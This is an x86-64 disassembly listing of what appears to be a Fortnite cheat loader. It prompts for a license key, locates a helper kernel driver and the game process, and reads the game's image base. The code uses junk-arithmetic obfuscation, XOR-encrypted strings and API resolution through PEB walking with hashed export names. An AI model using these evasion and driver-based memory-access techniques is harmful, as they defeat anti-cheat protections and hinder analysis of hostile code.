jmp 0x1400f11aa
mov eax, dword [rsp + 0x124]
inc eax
mov dword [rsp + 0x124], eax
cmp dword [rsp + 0x124], 7
jge 0x1400f1219
mov eax, dword [rsp + 0x84]
mov ecx, dword [rsp + 0x124]
lea eax, [rax + rcx*8]
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x84]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f11fd
mov eax, dword [rsp + 0x124]
mov ecx, dword [rsp + 0x84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x84], eax
jmp 0x1400f1217
imul eax, dword [rsp + 0x124], 3
mov ecx, dword [rsp + 0x84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x84], eax
jmp 0x1400f119a
jmp 0x1400f125a
mov eax, dword [rsp + 0x84]
sub eax, 9
mov dword [rsp + 0x84], eax
cmp dword [rsp + 0x84], 0xa
jge 0x1400f1249
mov eax, dword [rsp + 0x84]
add eax, 6
mov dword [rsp + 0x84], eax
jmp 0x1400f125a
mov eax, dword [rsp + 0x84]
sub eax, 2
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x84]
add eax, 5
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x84]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f1293
mov eax, dword [rsp + 0x84]
sub eax, 6
mov dword [rsp + 0x84], eax
jmp 0x1400f12a4
mov eax, dword [rsp + 0x84]
add eax, 7
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x84]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f125a
cmp dword [rsp + 0x84], 0
jle 0x1400f1310
mov eax, dword [rsp + 0x84]
sub eax, 5
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x84]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f12fd
mov eax, dword [rsp + 0x84]
add eax, 8
mov dword [rsp + 0x84], eax
jmp 0x1400f130e
mov eax, dword [rsp + 0x84]
sub eax, 3
mov dword [rsp + 0x84], eax
jmp 0x1400f12b9
mov dword [rsp + 0x30], 5
cmp dword [rsp + 0x30], 0x28
jge 0x1400f137f
mov eax, dword [rsp + 0x30]
add eax, 7
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f1372
mov eax, dword [rsp + 0x30]
add eax, eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f1365
mov eax, dword [rsp + 0x30]
sub eax, 3
mov dword [rsp + 0x30], eax
jmp 0x1400f1370
mov eax, dword [rsp + 0x30]
add eax, 4
mov dword [rsp + 0x30], eax
jmp 0x1400f137d
mov eax, dword [rsp + 0x30]
sub eax, 3
mov dword [rsp + 0x30], eax
jmp 0x1400f1318
cmp dword [rsp + 0x30], 0xf
jle 0x1400f1445
mov dword [rsp + 0xac], 0
jmp 0x1400f13a7
mov eax, dword [rsp + 0xac]
inc eax
mov dword [rsp + 0xac], eax
cmp dword [rsp + 0xac], 8
jge 0x1400f1443
imul eax, dword [rsp + 0xac], 9
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f142a
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f1415
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0xac]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x30], eax
jmp 0x1400f1428
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x1400f143e
imul eax, dword [rsp + 0xac], 3
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x1400f1397
jmp 0x1400f1497
mov eax, dword [rsp + 0x30]
sub eax, 0xa
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xa
jge 0x1400f148c
mov eax, dword [rsp + 0x30]
add eax, 7
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400f147f
mov eax, dword [rsp + 0x30]
sub eax, 2
mov dword [rsp + 0x30], eax
jmp 0x1400f148a
mov eax, dword [rsp + 0x30]
add eax, 3
mov dword [rsp + 0x30], eax
jmp 0x1400f1497
mov eax, dword [rsp + 0x30]
sub eax, 2
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
add eax, 6
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f14ec
mov eax, dword [rsp + 0x30]
sub eax, 5
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f14df
mov eax, dword [rsp + 0x30]
add eax, 8
mov dword [rsp + 0x30], eax
jmp 0x1400f14ea
mov eax, dword [rsp + 0x30]
sub eax, 3
mov dword [rsp + 0x30], eax
jmp 0x1400f14f7
mov eax, dword [rsp + 0x30]
add eax, 7
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400f1497
cmp dword [rsp + 0x30], 0
jle 0x1400f1570
mov eax, dword [rsp + 0x30]
sub eax, 6
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400f153b
mov eax, dword [rsp + 0x30]
add eax, 9
mov dword [rsp + 0x30], eax
jmp 0x1400f156e
mov eax, dword [rsp + 0x30]
sub eax, 3
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400f1563
mov eax, dword [rsp + 0x30]
add eax, 4
mov dword [rsp + 0x30], eax
jmp 0x1400f156e
mov eax, dword [rsp + 0x30]
sub eax, 2
mov dword [rsp + 0x30], eax
jmp 0x1400f1509
jmp 0x1400eefdf
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], reloc.WS2_32.dll_listen
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.1400de770
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x3a0], rax
lea rax, [rsp + 0x608]
lea rcx, [0x1401b1330]
mov rdi, rax
mov rsi, rcx
mov ecx, Ordinal_32
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x1b
movsx eax, byte [rsp + rax + 0x608]
test eax, eax
je 0x1400f15e1
mov dword [rsp + 0x22c], 1
jmp 0x1400f15ec
mov dword [rsp + 0x22c], 0
movzx eax, byte [rsp + 0x22c]
test eax, eax
je 0x1400f1666
mov dword [rsp + 0x128], 0
jmp 0x1400f1615
mov eax, dword [rsp + 0x128]
inc eax
mov dword [rsp + 0x128], eax
cmp dword [rsp + 0x128], 0x1c
jge 0x1400f1666
movsxd rax, dword [rsp + 0x128]
movsx eax, byte [rsp + rax + 0x608]
mov dword [rsp + 0x2d0], eax
mov eax, dword [rsp + 0x128]
cdq
mov ecx, 0x34
idiv ecx
mov eax, edx
add eax, 0x33
mov ecx, dword [rsp + 0x2d0]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x128]
mov byte [rsp + rcx + 0x608], al
jmp 0x1400f1605
lea rax, [rsp + 0x608]
mov qword [rsp + 0x398], rax
mov rdx, qword [rsp + 0x398]
mov rcx, qword [rsp + 0x3a0]
call fcn.1400c4fb0
mov qword [rsp + 0x3a8], rax
lea rdx, [0x1400c7ed0]
mov rcx, qword [rsp + 0x3a8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [0x1400d37a0]
mov qword [rsp + 0x3b0], rax
mov rdx, qword [rsp + 0x3b0]
lea rcx, [rsp + 0x5e8]
call fcn.1400c7240
lea rax, [rsp + 0x5e8]
mov qword [rsp + 0x3b8], rax
mov rcx, qword [rsp + 0x3b8]
call fcn.1400e2640
nop
cmp dword [rsp + 0x5f0], 0
je 0x1400f1701
mov dword [rsp + 0x230], 1
jmp 0x1400f170c
mov dword [rsp + 0x230], 0
movzx eax, byte [rsp + 0x230]
mov byte [rsp + 0xb6], al
movzx eax, byte [rsp + 0xb6]
test eax, eax
je 0x1400f172d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
call fcn.140131d20
call fcn.140118a30
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], reloc.WS2_32.dll_listen
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.1400de770
lea rcx, str._Welcome_To_Driver_FN__n
call fcn.140043000
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], reloc.WS2_32.dll_listen
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.1400de770
lea rcx, str._Enter_Your_License_Key:
call fcn.140043000
lea rdx, [0x140668a00]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400c47d0
lea rax, [rsp + 0x698]
mov qword [rsp + 0x3c0], rax
lea rdx, [0x140668a00]
mov rcx, qword [rsp + 0x3c0]
call fcn.1400c88f0
mov qword [rsp + 0x3c8], rax
mov rcx, qword [rsp + 0x3c8]
call fcn.1400f5f50
mov eax, dword [0x1401b134c]
mov dword [rsp + 0x1a0], eax
mov rax, qword [rsp + 0x628]
mov qword [rsp + 0x2e8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x3d0]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x6b8], rax
mov rax, qword [rsp + 0x6b8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x6e8], rax
mov rax, qword [rsp + 0x268]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x268]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3e8], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x3e8]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x318], rax
mov eax, dword [rsp + 0x318]
mov rcx, qword [rsp + 0x268]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f0], rax
mov eax, dword [rsp + 0x31c]
mov dword [rsp + 0x6f8], eax
mov rax, qword [rsp + 0x6e8]
cmp qword [rsp + 0x6f0], rax
je 0x1400f18f0
mov dword [rsp + 0x234], 1
jmp 0x1400f18fb
mov dword [rsp + 0x234], 0
movzx eax, byte [rsp + 0x234]
mov byte [rsp + 0xb5], al
movzx eax, byte [rsp + 0xb5]
test eax, eax
je 0x1400f1aa3
mov rax, qword [rsp + 0x6f0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x168], eax
mov eax, dword [rsp + 0x168]
mov dword [rsp + 0x2d4], eax
mov eax, dword [rsp + 0x168]
dec eax
mov dword [rsp + 0x168], eax
cmp dword [rsp + 0x2d4], 0
je 0x1400f1aa3
mov rax, qword [rsp + 0x6f0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x6e8]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x168]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x6e8]
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x2e0], rax
mov dword [rsp + 0x21c], 0x811c9dc5
mov rax, qword [rsp + 0x2e0]
movzx eax, byte [rax]
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x2e0]
inc rax
mov qword [rsp + 0x2e0], rax
movzx eax, byte [rsp + 0xbb]
mov byte [rsp + 0x9a], al
movsx eax, byte [rsp + 0x9a]
test eax, eax
jne 0x1400f19f6
mov eax, dword [rsp + 0x21c]
mov dword [rsp + 0x2d8], eax
jmp 0x1400f1a1b
movsx eax, byte [rsp + 0x9a]
mov ecx, dword [rsp + 0x21c]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x21c], eax
jmp 0x1400f19a6
cmp dword [rsp + 0x2d8], 0x491e0a9c
jne 0x1400f1a9e
mov rax, qword [rsp + 0x6f0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x6e8]
mov qword [rsp + 0x400], rax
mov rax, qword [rsp + 0x6f0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x6e8]
mov qword [rsp + 0x3f8], rax
mov eax, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x3f8]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x400]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x6e8]
mov qword [rsp + 0x408], rax
mov rax, qword [rsp + 0x408]
mov qword [rsp + 0x2e8], rax
jmp 0x1400f1afa
jmp 0x1400f192c
mov rax, qword [rsp + 0x6b8]
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x410]
mov rax, qword [rax]
mov qword [rsp + 0x418], rax
mov rax, qword [rsp + 0x418]
mov qword [rsp + 0x6b8], rax
mov byte [rsp + 0xb4], 1
movzx eax, byte [rsp + 0xb4]
test eax, eax
jne 0x1400f183f
mov qword [rsp + 0x2e8], 0
mov eax, 1
imul rax, rax, 3
movsx eax, byte [rsp + rax + 0x1a0]
test eax, eax
je 0x1400f1b1c
mov dword [rsp + 0x238], 1
jmp 0x1400f1b27
mov dword [rsp + 0x238], 0
movzx eax, byte [rsp + 0x238]
test eax, eax
je 0x1400f1ba1
mov dword [rsp + 0x12c], 0
jmp 0x1400f1b50
mov eax, dword [rsp + 0x12c]
inc eax
mov dword [rsp + 0x12c], eax
cmp dword [rsp + 0x12c], 4
jge 0x1400f1ba1
movsxd rax, dword [rsp + 0x12c]
movsx eax, byte [rsp + rax + 0x1a0]
mov dword [rsp + 0x288], eax
mov eax, dword [rsp + 0x12c]
cdq
mov ecx, 0x34
idiv ecx
mov eax, edx
add eax, 0x33
mov ecx, dword [rsp + 0x288]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x12c]
mov byte [rsp + rcx + 0x1a0], al
jmp 0x1400f1b40
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x420], rax
mov rcx, qword [rsp + 0x420]
call qword [rsp + 0x2e8]
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], reloc.WS2_32.dll_listen
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.1400de770
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x430], rax
lea rax, [rsp + 0x648]
lea rcx, [0x1401b1350]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_46
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x2d
movsx eax, byte [rsp + rax + 0x648]
test eax, eax
je 0x1400f1c2c
mov dword [rsp + 0x23c], 1
jmp 0x1400f1c37
mov dword [rsp + 0x23c], 0
movzx eax, byte [rsp + 0x23c]
test eax, eax
je 0x1400f1cb1
mov dword [rsp + 0x130], 0
jmp 0x1400f1c60
mov eax, dword [rsp + 0x130]
inc eax
mov dword [rsp + 0x130], eax
cmp dword [rsp + 0x130], 0x2e
jge 0x1400f1cb1
movsxd rax, dword [rsp + 0x130]
movsx eax, byte [rsp + rax + 0x648]
mov dword [rsp + 0x28c], eax
mov eax, dword [rsp + 0x130]
cdq
mov ecx, 0x34
idiv ecx
mov eax, edx
add eax, 0x33
mov ecx, dword [rsp + 0x28c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x130]
mov byte [rsp + rcx + 0x648], al
jmp 0x1400f1c50
lea rax, [rsp + 0x648]
mov qword [rsp + 0x428], rax
mov rdx, qword [rsp + 0x428]
mov rcx, qword [rsp + 0x430]
call fcn.1400c4fb0
mov qword [rsp + 0x438], rax
lea rdx, [0x1400c7ed0]
mov rcx, qword [rsp + 0x438]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x748]
call fcn.1400c8a30
nop
lea rdx, [rsp + 0x748]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400c47d0
lea rdx, [0x1401af864]
lea rcx, [rsp + 0x748]
call fcn.1400e13e0
movzx eax, al
test eax, eax
je 0x1400f1d35
call fcn.1400d5580
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], reloc.WS2_32.dll_listen
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.1400de770
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x448], rax
lea rax, [rsp + 0x5b8]
lea rcx, [0x1401b1380]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_setsockopt
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0x14
movsx eax, byte [rsp + rax + 0x5b8]
test eax, eax
je 0x1400f1da1
mov dword [rsp + 0x240], 1
jmp 0x1400f1dac
mov dword [rsp + 0x240], 0
movzx eax, byte [rsp + 0x240]
test eax, eax
je 0x1400f1e26
mov dword [rsp + 0x134], 0
jmp 0x1400f1dd5
mov eax, dword [rsp + 0x134]
inc eax
mov dword [rsp + 0x134], eax
cmp dword [rsp + 0x134], 0x15
jge 0x1400f1e26
movsxd rax, dword [rsp + 0x134]
movsx eax, byte [rsp + rax + 0x5b8]
mov dword [rsp + 0x290], eax
mov eax, dword [rsp + 0x134]
cdq
mov ecx, 0x34
idiv ecx
mov eax, edx
add eax, 0x33
mov ecx, dword [rsp + 0x290]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x134]
mov byte [rsp + rcx + 0x5b8], al
jmp 0x1400f1dc5
lea rax, [rsp + 0x5b8]
mov qword [rsp + 0x440], rax
mov rdx, qword [rsp + 0x440]
mov rcx, qword [rsp + 0x448]
call fcn.1400c4fb0
mov qword [rsp + 0x450], rax
lea rdx, [0x1400c7ed0]
mov rcx, qword [rsp + 0x450]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x77
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x1400f1e85
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400f1e68
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rsp + 0x678]
call fcn.1400b52d0
nop
lea rdx, [rsp + 0x678]
mov rcx, qword [0x1406700e8]
call fcn.1400e2850
mov dword [rsp + 0x294], eax
mov rax, qword [0x1406700e8]
mov ecx, dword [rsp + 0x294]
mov dword [rax + 4], ecx
lea rcx, [rsp + 0x678]
call fcn.140042710
mov rcx, qword [0x1406700e8]
call fcn.1400d26e0
movzx eax, al
test eax, eax
jne 0x1400f1f48
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], reloc.WS2_32.dll_listen
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.1400de770
lea rdx, str._Driver_has_not_been_loaded.__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400c4fb0
mov qword [rsp + 0x458], rax
lea rdx, [0x1400c7e70]
mov rcx, qword [rsp + 0x458]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], reloc.WS2_32.dll_listen
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.1400de770
lea rdx, str._Found_Driver_Handle:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400c4fb0
mov qword [rsp + 0x468], rax
mov rax, qword [0x1406700e8]
mov rax, qword [rax + 8]
mov qword [rsp + 0x460], rax
mov rdx, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x468]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, rax
call fcn.1400c4fb0
mov qword [rsp + 0x470], rax
lea rdx, [0x1400c7e70]
mov rcx, qword [rsp + 0x470]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x1406700e8]
mov edx, dword [rax + 4]
mov rcx, qword [0x1406700e8]
call fcn.1400e27a0
mov qword [rsp + 0x478], rax
mov rax, qword [0x1406700e8]
mov rcx, qword [rsp + 0x478]
mov qword [rax + 0x10], rcx
mov word [rsp + 0x28], 7
mov word [rsp + 0x20], reloc.WS2_32.dll_listen
mov r9w, 7
mov r8b, 0x5d
mov dl, 0x7e
mov cl, 0x5b
call fcn.1400de770
lea rdx, str._Game_Image_Base:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400c4fb0
mov qword [rsp + 0x488], rax
mov rax, qword [0x1406700e8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x480], rax
mov rdx, qword [rsp + 0x480]
mov rcx, qword [rsp + 0x488]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, rax
call fcn.1400c4fb0
mov qword [rsp + 0x490], rax
lea rdx, [0x1400c7e70]
mov rcx, qword [rsp + 0x490]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400e3170
mov rax, qword [rsp + 0x630]
mov qword [rsp + 0x330], rax
lea rax, [0x140670258]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
cmp qword [rax], 0
jne 0x1400f243e
mov rax, qword gs:[0x60]
mov qword [rsp + 0x498], rax
mov rax, qword [rsp + 0x498]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x4a0], rax
mov rax, qword [rsp + 0x4a0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x4a8], rax
mov rax, qword [rsp + 0x4a8]
mov qword [rsp + 0x6c8], rax
mov rax, qword [rsp + 0x6c8]
mov qword [rsp + 0x6d0], rax
mov rax, qword [rsp + 0x6c8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x700], rax
mov rax, qword [rsp + 0x270]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x270]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b0], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x4b0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x320], rax
mov eax, dword [rsp + 0x320]
mov rcx, qword [rsp + 0x270]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x708], rax
mov eax, dword [rsp + 0x324]
mov dword [rsp + 0x710], eax
mov rax, qword [rsp + 0x700]
cmp qword [rsp + 0x708], rax
je 0x1400f21ed
mov dword [rsp + 0x244], 1
jmp 0x1400f21f8
mov dword [rsp + 0x244], 0
movzx eax, byte [rsp + 0x244]
mov byte [rsp + 0xb2], al
movzx eax, byte [rsp + 0xb2]
test eax, eax
je 0x1400f23a3
mov rax, qword [rsp + 0x708]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x16c], eax
mov eax, dword [rsp + 0x16c]
mov dword [rsp + 0x298], eax
mov eax, dword [rsp + 0x16c]
dec eax
mov dword [rsp + 0x16c], eax
cmp dword [rsp + 0x298], 0
je 0x1400f23a3
mov rax, qword [rsp + 0x708]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x700]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x16c]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x700]
mov qword [rsp + 0x4b8], rax
mov rax, qword [rsp + 0x4b8]
mov qword [rsp + 0x2f0], rax
mov dword [rsp + 0x220], 0x811c9dc5
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0x2f0]
inc rax
mov qword [rsp + 0x2f0], rax
movzx eax, byte [rsp + 0xb1]
mov byte [rsp + 0x9b], al
movsx eax, byte [rsp + 0x9b]
test eax, eax
jne 0x1400f22f3
mov eax, dword [rsp + 0x220]
mov dword [rsp + 0x29c], eax
jmp 0x1400f2318
movsx eax, byte [rsp + 0x9b]
mov ecx, dword [rsp + 0x220]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x220], eax
jmp 0x1400f22a3
cmp dword [rsp + 0x29c], 0x53b2070f
jne 0x1400f239e
mov rax, qword [rsp + 0x708]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x700]
mov qword [rsp + 0x4c8], rax
mov rax, qword [rsp + 0x708]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x700]
mov qword [rsp + 0x4c0], rax
mov eax, dword [rsp + 0x16c]
mov rcx, qword [rsp + 0x4c0]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x4c8]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x700]
mov qword [rsp + 0x4d0], rax
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x328], rax
jmp 0x1400f242b
jmp 0x1400f2229
mov rax, qword [rsp + 0x6c8]
mov qword [rsp + 0x4d8], rax
mov rax, qword [rsp + 0x4d8]
mov rax, qword [rax]
mov qword [rsp + 0x4e0], rax
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x6c8], rax
mov rax, qword [rsp + 0x6d0]
cmp qword [rsp + 0x6c8], rax
je 0x1400f23f5
mov dword [rsp + 0x248], 1
jmp 0x1400f2400
mov dword [rsp + 0x248], 0
movzx eax, byte [rsp + 0x248]
mov byte [rsp + 0xb0], al
movzx eax, byte [rsp + 0xb0]
test eax, eax
jne 0x1400f213c
mov qword [rsp + 0x328], 0
mov rax, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x328]
mov qword [rax], rcx
mov rax, qword [rsp + 0x2c0]
mov rax, qword [rax]
mov qword [rsp + 0x4e8], rax
mov rax, qword [rsp + 0x4e8]
mov qword [rsp + 0x330], rax
lea rax, [rsp + 0x308]
lea rcx, [0x1401b1398]
mov rdi, rax
mov rsi, rcx
mov ecx, ntohs
rep movsb byte [rdi], byte [rsi]
mov eax, 1
